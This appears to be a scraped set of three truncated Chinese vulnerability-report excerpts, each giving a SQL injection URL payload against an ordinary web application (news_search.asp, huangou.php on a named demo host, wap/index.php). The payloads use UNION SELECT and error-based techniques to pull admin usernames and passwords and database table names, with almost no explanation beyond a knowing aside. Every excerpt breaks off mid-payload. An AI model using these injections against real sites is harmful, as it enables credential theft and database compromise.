1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124 %2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otyp...

简要描述： http://demo.duoduo123.com/huangou.php?id=-1%20union%20select%201,2,3,group_concat%28table_name%29,5,6,7,8%20from%20in...

你懂的。。。 wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(* ,concat((select%20(select%20(select%20concat(...